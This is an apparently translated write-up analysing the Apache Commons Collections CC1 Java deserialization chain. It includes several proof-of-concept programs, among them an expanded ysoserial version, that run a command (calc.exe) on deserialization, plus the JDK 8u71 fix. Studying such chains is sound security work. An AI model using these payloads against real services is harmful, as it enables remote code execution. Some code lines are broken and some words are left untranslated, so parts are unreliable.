Introduction to CC chain
In Apache Commons, there is a component called Apache Commons Collections, which mainly encapsulates Java's Collection-related class objects, providing many powerful data structure types and implementing various collection utility classes.
As an important component of the Apache open-source project, Commons Collections is widely used in the development of various Java applications, and it is precisely because the implementation of these classes and the invocation of methods in a large number of web applications have led to the universality and severity of deserialization vulnerabilities.
Apache Commons Collections has a special interface, which contains a class that implements this interface and can call any function by invoking Java's reflection mechanism, called InvokerTransformer.
In simple terms, it uses serialization objects composed of various classes in org.apache.commons.collections to exploit serialization vulnerabilities. Since there are various classes in this library, there are more than one chain to trigger deserialization vulnerabilities.
P牛's Analysis of CommonsCollections1
Code Analysis
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// Modify innerMap, when returning the object outerMap put(null, value), it calls transformerChain.transform(value)
// In fact, you can see that in the put method, `key = transformKey(key); value = transformValue(value);` actually calls the same class and method
// Therefore, TransformedMap.decorate(innerMap, transformerChain, null); it can also trigger a vulnerability
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
// Arrived at transformerChain.transform(value)
// Transformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(value)遍历调用了数组transformers中的元素的方法transform
public class ChainedTransformer implements Transformer, Serializable {
// ......
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
// Transformer是一个接口,只有一个待实现的方法transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
// ......
}
// 再来到数组transformers
/* Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{
{"calc.exe"}),
};*/
// new ConstantTransformer(Runtime.getRuntime())
public class ConstantTransformer implements Transformer, Serializable {
// ...
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
// ...
}
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
public class InvokerTransformer implements Transformer, Serializable {
// ...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
// ...
}
// So, key="test"; transformerChain.transform(value) actually performs what
// transformers[0].transform("test")
object = (Object) Runtime.getRuntime();
// transformers[1].transform(object)
Class cls = object.getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
method.invoke(object, new Object[]{"calc.exe"});
the understanding of TransformedMap
In Pniu's analysis article, I saw his analysis ofMap outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
My understanding is that it returns a Map decorator. After consulting relevant information, I feel that understanding the concept of this decorator is helpful for us to understand the above deserialization exploit chain.
TransformedMap
is a class in the Apache Commons Collections library, belonging toorg.apache.commons.collections4.map
package. It is used to create a decorator (decorator) that transforms keys or values before and after storing them in the underlying map or reading them from the underlying map.
TransformedMap
The main purpose of the class is towithout modifying the underlying data structure,Provide a mechanism for transformation during data insertion and accessThis is very useful in some cases, for example, when you need to ensure that all stored values are processed or verified in some way.
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class TransformedMapExample {
public static void main(String[] args) {
// Create a regular HashMap
Map<String, String> originalMap = new HashMap<>();
// Create a key-value transformer, Transformer is an interface with only one abstract method, which can be implemented using a lambda expression
// key -> "key-" + key is equivalent to
/*
Transformer<String, String> keyTransformer = new Transformer<String, String>() {
@Override
public String transform(String key) {
return "key-" + key;
}
};
Transformer<String, String> valueTransformer = new Transformer<String, String>() {
@Override
public String transform(String value) {
return "value-" + value;
}
};
*/
Transformer<String, String> keyTransformer = key -> "key-" + key;
Transformer<String, String> valueTransformer = value -> "value-" + value;
// Using TransformedMap to decorate the original Map
// Executed the transform method of the Transformer implementation class
Map<String, String> transformedMap = TransformedMap.transformingMap(
originalMap, keyTransformer, valueTransformer);
// Insert data
transformedMap.put("1", "one");
transformedMap.put("2", "two");
// Print transformedMap
System.out.println("Transformed Map: " + transformedMap);
// Print originalMap
System.out.println("Original Map: " + originalMap);
// Access data
System.out.println("Value for key '1': " + transformedMap.get("1"));
}
}
So now we understandMap outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
The innerMap is the original innerMap we are decorating, and the transformerChain is the Transformer implementation class. We call its transform method when we perform outerMap.put("test", "xxxx");.
Not the real reason why it is not a POC
In the previous example, we manually executed outerMap.put("test", "xxxx") to trigger the deserialization vulnerability, but in the normal deserialization vulnerability exploitation scenario, the serialized object is just a class, that is:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
// Serialize object
try (FileOutputStream fos = new FileOutputStream("outerMap.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(outerMap);
System.out.println("The Person object has been serialized to outerMap.ser file");
} catch (IOException e) {
e.printStackTrace();
}
At this point, although we have obtained the serialized object of outerMap, it is impossible to trigger the deserialization vulnerability when it is deserialized, if the readObject method does not perform outerMap.put or call transformerChain.transform(value) operation
CommonCollections1
The dependency of CommonCollections1 is commons-collections:3.1
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
The requirement for Java version is 8u71 or earlier, the following version is 8u66:
Download link for 8u66: https://download.oracle.com/otn/java/jdk/8u66-b18/jdk-8u66-windows-x64.exe?AuthParam=1720410091_b0d5907d32e6f0e85972feed2776cef4
Download the 8u66 sun package source code and add it to the IDEA classpath: https://changeyourway.github.io/2024/05/12/Java%20Security/Configuration%20Part-Viewing%20JDK%20and%20dependency%20source%20code%20in%20IDEA/ and https://hg.openjdk.org/jdk8u/jdk8u/jdk
A rough梳理 of the exploitation chain
A rough梳理 of the exploitation chain
First, let's show the final poc code, and then analyze how to improve the poc step by step
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class,
Class[].class }, new
Object[]{ "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class,
Object[].class }, new
Object[]{ null, new Object[0] }),
new InvokerTransformer("exec", new Class[]{ String.class },
new String[]{
"calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
// new
innerMap.put("value", "xxxx");
// new
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
// delete
// outerMap.put("test", "xxxx");
// delete
// new
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}
The serialization object in the example mentioned earlier lacks an outerMap.put to trigger the vulnerability, naturally, we continue to look for classes that can perform outerMap.put operations in their readObject, this class is sun.reflect.annotation.AnnotationInvocationHandler, note that this class is a Java internal implementation class located under the sun.reflect.annotation package, so its implementation may vary between different versions of Java, so the chain using AnnotationInvocationHandler can only trigger a vulnerability before java8u71.
Let's take a look at the readobject method of AnnotationInvocationHandler
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType !// i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
Here, we point out the trigger key directly, namely memberValue.setValue
,memberValue
This isAnnotationInvocationHandler
The properties ofmemberValues
Let's take a look at the specific situation of this property
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
memeberVakues
is of type Map, in newAnnotationInvocationHandler
when passing aMap<String, Object>
of the parameter type can be assigned to this property, naturally联想到 we serialized the object previously is also a subclass of Map, whether it can trigger the desired sensitive operation through setValue?
Let's see what code the setValue actually runs, to understand this question, we first need to figure outMap.Entry<String, Object> memberValue : memberValues.entrySet()
inmemberValues.entrySet()
,memberValues
which is actually theTransformedMap
class object, which does not implemententrySet()
method, to its superclassAbstractInputCheckedMapDecorator
Traceback
// ......
protected boolean isSetValueChecking() {
return true;
}
// Create an object of a subclass
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
// Using the enhanced for loop to traverse a Set<Map.Entry<String, Object>>
// Call the iterator method: The enhanced for loop first calls the iterator() method of the Set interface to obtain an Iterator object.
// Call the hasNext and next methods: In each iteration, the hasNext() method of the Iterator object is called to check if there are any more elements, and the next() method is called to get the next element.
// 这里的Iterator方法又new了一个新的子类对象
static class EntrySet extends AbstractSetDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent);
}
// ......
}
// 继续追溯,在next()方法中返回的是一个子类对象
static class EntrySetIterator extends AbstractIteratorDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
}
// 继续追溯,memberValues.entrySet()最终返回的就是MapEntry类的对象
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
// memberValue.setValue执行的即是MapEntry类的SetValue方法
// The parent here traces step by step to the class itself,}}So it executes the checkSetValue of the implementation of the class itself, the checkSetValue method of the TransformedMap object of the class
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
// ......
Let's review the checkSetValue method of TransformedMap and review the previous content, and we can find thatvalueTransformer.transform(value)
It can trigger a vulnerability.
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
Let's summarize and write the poc code now.
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
// new
// Trigger memberValue.setValue when traversing the elements of the Map
innerMap.put("test", "xxxx");
// new
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
Here is still an explanation needed, forAnnotationInvocationHandler
The way to obtain it is by reflection, not directly new, because this class is default.
Running the current poc results in an error, the reason is that java.lang.Runtime cannot be serialized
In Java, a class must meet the following conditions to be deserialized:
Implement the java.io.Serializable interface
All properties must be serializable. If a property is not serializable, it must be marked as transient
Therefore, we cannot directlynew ConstantTransformer(Runtime.getRuntime())
Yet, it still relies on reflection to obtain Runtime.getRuntime(), so we change the poc, here Runtime.class is a Class object, which can be serialized
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class,
Class[].class }, new
Object[]{ "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class,
Object[].class }, new
Object[]{ null, new Object[0] }),
new InvokerTransformer("exec", new Class[]{ String.class },
new String[]{
"calc.exe" }),
};
// ......
}
Let's analyze the process of obtaining the Runtime object through reflection
Class cls = Runtime.class.getClass();
Method method = cls.getMethod("getMethod", new Class[] { String.class,
Class[].class });
Object object = method.invoke(Runtime.class, new Object[]{"getRuntime",
new Class[0] });
// The code above is equivalent to Object object = Runtime.class.getMethod("getRuntime", new Class[0]), where object is used as the input for the following
Class cls = input.getClass();
Method method = cls.getMethod("invoke", new Class[] { Object.class,
Object[].class });
Object object = method.invoke(input, new Object[]{null, new Object[0]});
// Equivalent to object = input.invoke(null, new Object[0]), getRuntime method is static, so the passed parameters are (null, new Object[0])
Class cls = input.getClass();
Method method = cls.getMethod("exec", new Class[] { String.class });
Object object = method.invoke(input, new String[] {"calc.exe"});
// Equivalent to object = input.exec("calc.exe")
Continue running the improved poc and find no exceptions, but no computer pops up either. Comparing the current poc and the final poc, we find only one differenceinnerMap.put("test", "xxxx");
andinnerMap.put("value", "xxxx");
, how this difference affects our poc, and we need to find the answer in the debugging process.
Try to analyze innerMap.put("value", "xxxx");
We debug the final poc, set a breakpoint at the transform method of InvokerTransformer, and check the call stack:
Most of the process from readObject of AnnotationInvocationHandler to the transform method of InvokerTransformer has been analyzed before. What we need to focus on is the process from readObject to setValue. We set breakpoints at these two methods to debug and analyze the code logic
Let's take a look back at the readObject method of AnnotationInvocationHandler
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType !// i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
According to the analysis process before, as long as the execution reaches memberValue.setValue
, which can trigger the vulnerability. If the vulnerability is not triggered, it may be that the code has not executed here at all. Check the entire method, in the executionmemberValue.setValue
There were two if statements before, we set breakpoints at these two if statements and found that memberType is null, which is the reason why we did not trigger the vulnerability.
We continue to trace the memberType
AnnotationType annotationType = null;
// type:interface java.lang.annotation.Retention
annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);
if (memberType != null)
// annotationType = AnnotationType.getInstance(type);
public static AnnotationType getInstance(
Class<? extends Annotation> annotationClass)
{
JavaLangAccess jla = sun.misc.SharedSecrets.getJavaLangAccess();
AnnotationType result = jla.getAnnotationType(annotationClass); // volatile read
if (result == null) {
result = new AnnotationType(annotationClass);
// try to CAS the AnnotationType: null -> result
if (!jla.casAnnotationType(annotationClass, null, result)) {
// somebody was quicker -> read its result
result = jla.getAnnotationType(annotationClass);
assert result != null;
}
}
return result;
}
Here we continue to analyze and encounter a bottleneck.JavaLangAccess jla = sun.misc.SharedSecrets.getJavaLangAccess();
The object obtained cannot be traced further in the program, and after consulting relevant information it is learned thatjavaLangAccess
Assignment is usually completed during JVM startup, rather than by application code calling assignment.
Unable to continue analysis, here is the answer explored by predecessors to make memberType not null:
The first parameter of the sun.reflect.annotation.AnnotationInvocationHandler constructor must be a subclass of Annotation, and it must contain at least one method, assuming the method name is X
The Map decorated by TransformedMap.decorate must have an element with the key name X
Therefore, this also explains why Retention.class was used earlier, because Retention has a method named value; Therefore, to meet the second condition, a key element with the name value needs to be added to the Map:
innerMap.put("value", "xxxx");
The reason why it cannot be used after 8u71
The readObject method of AnnotationInvocationHandler after 8u71 has been modified
--- a/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Tue Dec 01 08:58:28 2015 -0500
+++ b/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Tue Dec 01 22:38:16 2015 +0000
@@ -25,6 +25,7 @@
package sun.reflect.annotation;
+import java.io.ObjectInputStream;
import java.lang.annotation.*;
import java.lang.reflect.*;
import java.io.Serializable;
@@ -425,35 +426,72 @@
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
+ ObjectInputStream.GetField fields = s.readFields();
+
+ @SuppressWarnings("unchecked")
+ Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
+ @SuppressWarnings("unchecked")
+ Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
- annotationType = AnnotationType.getInstance(type);
+ annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
+ // consistent with runtime Map type
+ Map<String, Object> mv = new LinkedHashMap<>();
// If there are annotation members without values, that
// situation is handled by the invoke method.
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
+ for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
+ Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
+ value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
+ value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
+ annotationType.members().get(name));
}
}
+ mv.put(name, value);
+ }
+
+ UnsafeAccessor.setType(this, t);
+ UnsafeAccessor.setMemberValues(this, mv);
+ }
+
+ private static class UnsafeAccessor {
+ private static final sun.misc.Unsafe unsafe;
+ private static final long typeOffset;
+ private static final long memberValuesOffset;
+ static {
+ try {
+ unsafe = sun.misc.Unsafe.getUnsafe();
+ typeOffset = unsafe.objectFieldOffset
+ (AnnotationInvocationHandler.class.getDeclaredField("type"));
+ memberValuesOffset = unsafe.objectFieldOffset
+ (AnnotationInvocationHandler.class.getDeclaredField("memberValues"));
+ } catch (Exception ex) {
+ throw new ExceptionInInitializerError(ex);
+ }
+ }
+ static void setType(AnnotationInvocationHandler o,
+ Class<? extends Annotation> type) {
+ unsafe.putObject(o, typeOffset, type);
+ }
+
+ static void setMemberValues(AnnotationInvocationHandler o,
+ Map<String, Object> memberValues) {
+ unsafe.putObject(o, memberValuesOffset, memberValues);
}
}
}
As can be seen, the memberValue.setValue that we originally triggered the vulnerability has been deleted, and it is noted thatMap<String, Object> mv = new LinkedHashMap<>();/*......*/mv.put(name, value);
Instead of directly using the Map object obtained by deserialization, a new LinkedHashMap object is created, and the original key-value pairs are added, the精心 constructed Map no longer performs some operations, and naturally will not trigger the vulnerability.
Analysis of ysoserial exploitation chain
Here is the poc constructed by ysoserial first, ysoserial encapsulates some operations into functions, for the convenience of analysis, here is the code after they are expanded
public class YsoCC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
This is somewhat different from our previous poc code, mainly in two points:
We did not find the familiar
TransformedMap.decorate
, but there is aLazyMap.decorate
Two more lines of code
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
Let's analyze it step by step
How LazyMap replaces TransformedMap to trigger a vulnerability
// LazyMap.decorate(innerMap, transformerChain); returns the object
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
Noticing that the get method of this class, when the passed key does not exist, it will call the transform method of the Transfomer class.
public Object get(Object key) {
// Create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
However, according to the analysis of the readObject method of AnnotationInvacationHandler before, it did not call the get method of Map, by checking the invoke method of AnnotationInvocationHandler, it was found that it called the get method of Map
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
The particularity of AnnotationInvocationHandler#invoke
Java is a statically typed language, compared to dynamically typed languages such as PHP, Python, etc., it lacks flexibility, does not allow the dynamic addition of new code, modification of existing code, or deletion of code, but with the help of dynamic proxy, Java can achieve dynamic code invocation.
class MyClass
{
private $data = array();
public function __call($name, $arguments)
{
// Check if the method name starts with "get" or "set"
if (substr($name, 0, 3) == 'get') {
$key = substr($name, 3);
return $this->data[$key];
} elseif (substr($name, 0, 3) == 'set') {
$key = substr($name, 3);
$this->data[$key] = $arguments[0];
return $this;
} else {
throw new Exception("Undefined method '$name'");
}
}
}
$obj = new MyClass();
$obj->setName('John Doe');
echo $obj->getName(); // Output: John Doe
This PHP code demonstrates__call
magic methods play the role of dynamically invoking methods. In Java, dynamic proxies can also play a similar role. Dynamic proxies are a design pattern that allows the creation of proxy objects at runtime, so that additional logic can be added before and after method calls, such as logging, transaction management, and permission control, etc. The dynamic proxy mechanism in Java mainly relies on java.lang.reflect.Proxy
classes and java.lang.reflect.InvocationHandler
interface:
java.lang.reflect.Proxy
Proxy
class provides static methods for creating dynamic proxy classes and instances.
java.lang.reflect.InvocationHandler
InvocationHandler
interface defines invoke
methods, used to handle method calls on the proxy instance.
The following is a simple example code
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
ExampleInvocationHandler implements the invoke method of Invocationhandler, which returns a special string 'Hacked Object' when the monitored method name is 'get'.
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
// The first parameter of Proxy.newProxyInstance is ClassLoader, we can use the default one; the second parameter is the collection of objects we need to proxy; the third parameter is an object that implements the InvocationHandler interface, which contains the specific proxy logic.
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
Running the App class, I foundString result = (String) proxyMap.get("hello");
The obtained string is not 'world' but 'Hacked Object'.
Trigger a vulnerability using AnnotationInvocationHandler#invoke
Since AnnotationInvocationHandler implements the InvocationHandler interface and its invoke method contains a put operation on Map, which can trigger a vulnerability, we use dynamic proxy LazyMap to make AnnotationInvocationHandler#invoke act as the dynamic proxy handler for LazyMap. When any code calls any method of LazyMap, the dynamic proxy intercepts the method and calls AnnotationInvocationHandler#invoke, thereby triggering the vulnerability.
// ......
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
// These lines of code are similar to the example: InvocationHandler handler = new ExampleInvocationHandler(new HashMap()); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
// An instance of proxy has been created, it can be AnnotationInvocationHandler as well, or any class that implements the InvocationHandler interface and calls Map.get in the invoke method, see the code snippet in Appendix 1 for an example
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
// The object after proxying is called proxyMap, but we cannot serialize it directly because our entry point is sun.reflect.annotation.AnnotationInvocationHandler#readObject, so we still need to wrap proxyMap with AnnotationInvocationHandler, or we can also not use AnnotationInvocationHandlerAny class that can pass proxyMap to the constructor and call methods in readObject can do so, see the code snippet in Appendix 2 for an example
Let's take a look back at the readObject method of AnnotationInvocationHandler, where memberValues is LazyMap, and its call to entrySet method is intercepted by dynamic proxy
LazyMap still cannot take advantage of it after 8u71
The reason why CC1 cannot function after 8u71 is one of the reasons that it no longer directly uses the Map object obtained through deserialization, but creates a new LinkedHashMap object, and the original key-value pairs in the Map are also obtained through fields.get
+ ObjectInputStream.GetField fields = s.readFields();
+
+ @SuppressWarnings("unchecked")
+ Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
+ @SuppressWarnings("unchecked")
+ Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
